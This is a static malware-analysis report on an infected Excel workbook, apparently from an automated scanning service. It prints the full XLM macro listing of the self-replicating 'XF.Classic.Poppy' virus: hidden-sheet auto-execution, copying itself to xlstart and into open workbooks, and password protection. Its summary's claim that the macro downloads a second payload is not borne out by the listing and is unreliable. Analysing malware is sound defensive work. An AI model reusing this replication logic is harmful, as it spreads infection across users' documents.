Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4285ed6522bf8f5b…

MALICIOUS

Office (OLE)

40.5 KB Created: 2012-01-21 08:41:47 Authoring application: Microsoft Excel First seen: 2015-09-24
MD5: 6125b34b190bb277e6a53db7c879afe1 SHA-1: ef5f6ca2ebf2ff1abf8dd3174ca718af5f76dc26 SHA-256: 4285ed6522bf8f5b15ea19c50fbe2fdd911694c459ac8fd3bc50c3844ecd74db
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open entry, which is a known technique for executing malicious code. Heuristics indicate the use of dangerous functions like RUN, suggesting the macro is designed to download and execute a secondary payload. The embedded text explicitly mentions 'An Excel Formula Macro Virus (XF.Classic)' and names associated with it, further supporting its malicious nature.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 16299 bytes
SHA-256: 335189d465842e70f79baaf4af6449e937d4871a319239d81bc6fca119c90591
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  00000pp
' 0018     31 LABEL : Cell Value, String Constant - _Fill hidden len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00m\x00m\x00m\x00m\x00'
' 0018     32 LABEL : Cell Value, String Constant - aiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\t\t\t\t'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 10!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 10!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 10!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 10!C9 
' 0018     79 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x14\x0b\x88\x02'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     25 LABEL : Cell Value, String Constant - FRC len=7 ptgRef3d  Sheet!C9 
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 10!A15 
' 0018     29 LABEL : Cell Value, String Constant - hostfee len=7 ptgRef3d 6!H12 
' 0018     34 LABEL : Cell Value, String Constant - hraiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\n\n\n\n'
' 0018     26 LABEL : Cell Value, String Constant - hvac len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x12\x12\x12\x12'
' 0018     25 LABEL : Cell Value, String Constant - HWSheet len=3 ptgInt 1 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 10!A26 
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 16 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 10!C39 
' 0018     28 LABEL : Cell Value, String Constant - OS len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x05\x80\x05\x80\x05\x80\x05\x80'
' 0018     29 LABEL : Cell Value, String Constant - PA7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\xa3\x02\xa3\x02\xa3\x02\xa3\x02'
' 0018     29 LABEL : Cell Value, String Constant - PA8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\xd8\x02\xd8\x02\xd8\x02\xd8\x02'
' 0018     29 LABEL : Cell Value, String Constant - PD1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00S\x05S\x05S\x05S\x05'
' 0018     30 LABEL : Cell Value, String Constant - PE12 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\xf0\t\xf0\t\xf0\t\xf0\t'
' 0018     30 LABEL : Cell Value, String Constant - PE13 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x99\n\x99\n\x99\n\x99\n'
' 0018     29 LABEL : Cell Value, String Constant - PE6 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x0c\t\x0c\t\x0c\t\x0c\t'
' 0018     29 LABEL : Cell Value, String Constant - PE7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00E\tE\tE\tE\t'
' 0018     29 LABEL : Cell Value, String Constant - PE8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00~\t~\t~\t~\t'
' 0018     29 LABEL : Cell Value, String Constant - PE9 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\xb7\t\xb7\t\xb7\t\xb7\t'
' 0018     29 LABEL : Cell Value, String Constant - PH1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x19\t\x19\t\x19\t\x19\t'
' 0018     29 LABEL : Cell Value, String Constant - PI1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00D\tD\tD\tD\t'
' 0018     29 LABEL : Cell Value, String Constant - PK1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00R\tR\tR\tR\t'
' 0018     29 LABEL : Cell Value, String Constant - PK3 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00n\nn\nn\nn\n'
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 10!C27 
' 0018     36 LABEL : Cell Value, String Constant - pr_toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\x02\x00O\x00\x00\x00\x08\x00'
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 34 
' 0018     34 LABEL : Cell Value, String Constant - s_c_list len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\x06\x00\xc8\x03\x00\x00\x07\x00'
' 0018     29 LABEL : Cell Value, String Constant - SCG len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\x00\x04\x00\x04\x00\x04\x00\x04\x00'
' 0018     28 LABEL : Cell Value, String Constant - sdlfee len=7 ptgRef3d 6!H13 
' 0018     33 LABEL : Cell Value, String Constant - solar_ratio len=7 ptgRef3d 5!H7 
' 0018     28 LABEL : Cell Value, String Constant - ss7fee len=7 ptgRef3d 6!H18 
' 0018     29 LABEL : Cell Value, String Constant - subsfee len=7 ptgRef3d 6!H14 
' 0018     33 LABEL : Cell Value, String Constant - toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x04\x00)\x06\x02\x00\x13\x00'
' 0018     29 LABEL : Cell Value, String Constant - V5.1Fee len=7 ptgRef3d 6!H15 
' 0018     34 LABEL : Cell Value, String Constant - Z32_Cost_red len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\n\n\n\n'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Sheet,C4,"",284.60015624999999772626
'  Sheet,I4,"",0.11600000000000000588
'  Sheet,J4,"",0.15800000000000000155
'  Sheet,K4,"",0.27000015258789061834
'  Sheet,I5,"",0.13400000000000000799
'  Sheet,J5,"",0.11899999999999999467
'  Sheet,K5,"",0.29000015258789063610
'  Sheet,J6,"",0.11400000000000000411
'  Sheet,K6,"",0.25000000000000000000
'  Sheet,D7,"",380.00000000000000000000
'  Sheet,C8,"",64.74003906250000284217
'  Sheet,I8,"",1.55099999999999993427
'  Sheet,J8,"",0.01700000000000000122
'  Sheet,K8,"",1.03000061035156242895
'  Sheet,I9,"",1.90300000000000002487
'  Sheet,J9,"",0.05899999999999999689
'  Sheet,K9,"",1.22000061035156259770
'  Sheet,R9,"",67.74003906250000284217
'  Sheet,D10,"",380.00000000000000000000
'  Sheet,C11,"",330.66031249999997498890
'  Sheet,J11,"",0.02699999999999999969
'  Sheet,K11,"",2.16000122070312494671
'  Sheet,I12,"",0.24199999999999999289
'  Sheet,R12,"",1009.82062499999994997779
'  Sheet,C14,"",87.30007812499999886313
'  Sheet,I14,"",0.23100000000000001088
'  Sheet,J14,"",0.05199999999999999761
'  Sheet,R14,"",9035.84499999999934516381
'  Sheet,H16,"",3.28000244140624985789
'  Sheet,H17,"",4.17000244140625042633
'  Sheet,H18,"",6.54000488281250014211
'  Sheet,H19,"",6.52000488281249968026
'  Sheet,H20,"",3.57000244140624989342
'  Sheet,H21,"",4.06000244140625010658
'  Sheet,H22,"",4.63000244140625039080
'  Sheet,C23,R~2C~2,""
'  Sheet,L26,"",0.16900000000000001132
'  Sheet,I31,"",0.06600000000000000311
'  Sheet,I32,"",0.06199999999999999956
'  00000pp,C1,WORKBOOK.HIDE("00000ppy"),""
'  00000pp,A4,"",3.00000000000000000000
'  00000pp,C4,RUN(C18),""
'  00000pp,C5,"ERROR(TRUE,Continue)",""
'  00000pp,C6,IF(A4=3),""
'  00000pp,C7,RETURN(),""
'  00000pp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,C9,ERROR(FALSE),""
'  00000pp,C10,RUN(A21),""
'  00000pp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  00000pp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  00000pp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  00000pp,C14,RETURN(),""
'  00000pp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  00000pp,A16,"ALERT("?1998 The Narkotic Network",2)",""
'  00000pp,A17,RETURN(),""
'  00000pp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  00000pp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  00000pp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  00000pp,A21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  00000pp,A22,"ERROR(TRUE,MakeIt)",""
'  00000pp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"00000ppy"))",""
'  00000pp,A23,IF(A21=0),""
'  00000pp,C23,RETURN(),""
'  00000pp,A24,RETURN(),""
'  00000pp,I25,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,A26,NEW(1),""
'  00000pp,A27,WORKBOOK.INSERT(1),""
'  00000pp,C27,RUN(C19),""
'  00000pp,A28,WORKBOOK.INSERT(1),""
'  00000pp,C28,"ERROR(TRUE,Bust)",""
'  00000pp,A29,ACTIVATE.PREV(),""
'  00000pp,C29,IF(A4=3),""
'  00000pp,A30,RUN(C18),""
'  00000pp,C30,RETURN(),""
'  00000pp,A31,"WORKBOOK.COPY("00000ppy",A1)",""
'  00000pp,C31,ERROR(FALSE),""
'  00000pp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  00000pp,C32,ACTIVATE.PREV(),""
'  00000pp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  00000pp,C33,RUN(C19),""
'  00000pp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  00000pp,C34,"WORKBOOK.COPY("00000ppy",A1)",""
'  00000pp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  00000pp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,A36,WORKBOOK.PREV(),""
'  00000pp,C36,RETURN(),""
'  00000pp,A37,WORKBOOK.PREV(),""
'  00000pp,A38,WORKBOOK.PREV(),""
'  00000pp,A39,SAVE.AS(A3),""
'  00000pp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  00000pp,A40,FILE.CLOSE(),""
'  00000pp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  00000pp,A41,RETURN(),""
'  00000pp,C41,RETURN(),""

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